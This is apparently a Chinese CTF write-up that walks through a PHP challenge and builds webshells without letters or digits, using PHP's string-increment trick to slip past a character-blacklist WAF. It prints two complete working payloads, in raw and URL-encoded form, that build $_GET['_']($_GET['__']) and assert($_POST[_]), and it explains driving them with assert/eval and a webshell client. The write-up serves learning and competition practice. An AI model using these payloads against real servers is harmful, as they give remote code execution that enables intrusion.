前言

这篇文章在写的时候我查阅了许多资料也参考了很多师傅的博客,尽我所能的搞懂这个知识点以及要完成这个操作所需要的相关知识。在搞明白以后,回过头来看,其实也没有当初那样晦涩难懂,只是初学起来会因为知识储备不够而走入思维的误区。
网上也有很多的相关资料,但我还是想把这篇文章分享出来,并不是因为我总结的有多好,见解有多深刻,而是每个人在遇到这个问题的时候思维不一样,知识储备不一样,走入的误区也不一样。自己做记录的同时,也希望帮助其他的伙伴。

题目代码

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
   show_source(__FILE__);
   die();
}
function rand_string( $length ) {
   $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
   $size = strlen( $chars );
   $str = '';
   for( $i = 0; $i < $length; $i++ ) {   //注意:原代码为id+,应为笔误,测试中i++才是对的
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
   return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
   if (stripos($data, $b) !== false){
       die("WAF!");
   }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
   echo "<a href='".$full_filename."'>WebShell</a></br>";
   echo "Enjoy your webshell~";
}else{
   echo "Some thing wrong...";
}

首先对代码逻辑进行分析:
本题代码相对来说较多,我选择的方法是先分块后分析,在这里分了四块
第一块:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
   show_source(__FILE__);
   die();
}

以get的方法传参入一个参数c
第二块:

function rand_string( $length ) {
   $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
   $size = strlen( $chars );
   $str = '';
   for( $i = 0; $i < $length; $i++ ) {   //注意:原代码中这个地方是id+,应为笔误,测试中i++才是对的
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
   return $str;
}

生成一个包含数字和字母的随机数
第三块:

$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
   if (stripos($data, $b) !== false){
       die("WAF!");
   }
}

把传入c的值赋值给data,检查传入的值是否包含black_list中的字符。换句话说,第三块设置了一个WAF,过滤其中的字符,通过get传入的参数c不能包含其中的字符(不能包含数字字母和一些其他符号),否则将会被拦截。
第四块:

$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){ //file_put_contents() 函数把一个字符串写入文件中。
   echo "<a href='".$full_filename."'>WebShell</a></br>";
   echo "Enjoy your webshell~";
}else{
   echo "Some thing wrong...";
}

设置上传文件的文件名(第二部分生成的随机值)和文件目录,并把传入c的值存入文件中,这一步把我们自己传入的参数写到他自己生成的文件中,就要考虑如何给他往里面写点咱们能利用的东西。

把这四块合起来说:

  • 我们要以get的形式传入一个参数c,参数c的值不能是字母数字或是waf中的其他值。
  • 传入的值保存在自动生成的文件目录下的文件夹中,文件名是随机生成的。

分析完代码逻辑发现,接下来最主要的问题就是如何绕过限制字符,把我们可以利用的值存入文件中,并成功利用。
在这里通过查阅资料发现,目前解决不包含字母和数字的webshell大体归为三类:

  • 异或:通过非字母数字进行异或,得到所需字母
  • 自增:通过对php数组与数组或者数组与字符串进行拼接,php会强制转换类型,得到Array,取a进行自增,得到所需字符
  • 取反:利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s
    源自P牛博客:传送门

在本题中给出的两种payload都是基于第二种方法的,因为题目WAF做了太多的限制,利用自增这个方法比较直观减少盲目。
第一种方法:先构造上传文件,在往文件中写一句话(木马)
第一步:得到$GET['']($_GET['__'])

<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__='';  //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E  把两个短杠赋值为E
$_=++$_; //F  一个短杠继续自增
$_=++$_; //G 
$__=$_.$__; // GE  一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);

对上边代码在php中意思不明白的话可以自己运行var_dump()一下
.=是字符串的连接,具体参看php语法。
在这里如果还不明白为什么要构造出$_GET['_']($_GET['__'])继续往后看
由于+在传送中会被解释为空格,所以需要提前url编码为%2b,然后还需要去掉上面的这个webshell中的空格,换行。写入文件的payload如下:

?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

url解码后原始写入文件payload:

?c=$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);

对写入文件payload的解释:
$_GET['_']($_GET['__']) 这个意思是函数名和函数的参数可控。
既然可控,那么前面_可以取assert__可以取$_POST从而完成一句话的写入
(以前并没有遇到过这种写shell的方法,感谢1x2Bytes师傅给我讲明这种方法。我见识太浅了。)
步骤思路总结:
第一步:构造上传文件
首先看代码逻辑,代码逻辑是使用get的方法传入参数,并把参数保存在upload文件夹下的文件中,此时传入的就是$_GET['_']($_GET['__']),文件中写入的也就是$_GET['_']($_GET['__'])到此第一步写入文件结束
第二步:传参准备连刀
因为第一步我们已经成功将$_GET['_']($_GET['__'])写入到文件中,第二步就是传参,_=assert&__=eval("$_POST[c]"),以get的方式传参,因为此时已经是在上传文件的目录下,所以就没有waf的防护。
连菜刀:
127.0.0.1/uploads/vVyyxGUTyFsL0tgdvmCjVkvRAehduvvQ.php?_=assert&__=eval("$_POST[c]")

成功getshell:

第二种方法:直接传参

<?php
$_='';$_[+$_]++;
$_=$_.''; //array
$__=$_[+'']; //a
$_ = $__; //a
$___=$_; //a
$__=$_; //a

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //s

$___.=$__;  //两道杠经过自增到s,三道杠为a,.=为连接符,三道杠现在为as
$___.=$__;  //两道杠经过自增到s,三道杠为as,.=为连接符,三道杠现在为ass
$__=$_;   //两道杠还是a

$__++;$__++;$__++;$__++;  //e

$___.=$__; //两道杠经过自增到e,三道杠为ass,.=为连接符,三道杠现在为asse
$__=$_;    //两道杠还是a

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //r

$___.=$__;
$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //t

$___.=$__;
$____='_';
$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //p

$____.=$__;
$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //o

$____.=$__;
$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //s

$____.=$__;
$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //t

$____.=$__;
$_=$$____;
$___($_[_]);//$assert($post[_])

对上边代码在php中意思不明白的话可以自己运行var_dump()一下
上边代码中的换行是为了展示清晰换的行,在实际payload中并没有换行。同样由于+在传送中会被解释为空格,所以需要提前url编码为%2b

payload:

?c=$_='';$_[%2b$_]%2b%2b;$_=$_.'';$__=$_[%2b''];$_=$__;$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_["_"]);

解码后的payload其实是:

?c=$_='';$_[+$_]++;$_=$_.'';$__=$_[+''];$_=$__;$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

利用:
http://localhost/uploads/gWO6mgPDaZUvCt4TMXLnREks1pyh22mu.php
post:_=phpinfo

还可以直接连菜刀(此处感谢灵灵表哥点明低版本菜刀可以连这个一句话)

成功:

一开始连刀失败,post利用成功。我本以为$assert($post[_])是个动态函数,不能连刀,请教灵灵表哥后知道,低版本(1.0)菜刀可以连这个一句话。
步骤思路总结:

  • 传参直接写入一句话
  • 使用post方法或者菜刀(低版本)进行利用

至此,两种利用方法都成功的演示。

总结:

  1. 本题所用到的知识点除了读懂题目代码意思以外,重点在于如何构造无数字字母以及限制字符的webshell。可用到的三个方法:自增,异或,取反。上边的payload也不是题目的唯一解,因为构造webshell的大方法虽然定下了,但是webshell的写法确有很多很多,所以如果这篇文章引起了你的兴趣也可以试着构造一下其他的webshell连接一下。
  2. 在做题的过程中,也发现了自己的一些知识短板,暴露出知识盲区,这也是导致我这个题目研究很久才拿下的原因,比如上面构造webshell的方法和webshell的写法(尤其是第一种webshell的写法)。
  3. 在后面的时间,我也会跟着P牛对应的两篇文章介绍的三种方法进行自己学习和总结,这里只用到了自增这个方法,还需要总结整理一下一句话木马的写法,补一下短板。
  4. 收获就是啃完这个题目自己对代码审计的思路更加清晰,更加有针对性,也学到了遇到困难时不妨先写个demo运行一下,知识的学习总归是肤浅的,我更需要在练习过程中学到一些做题思路和思维方法。

点击收藏 | 3 关注 | 2
登录 后跟帖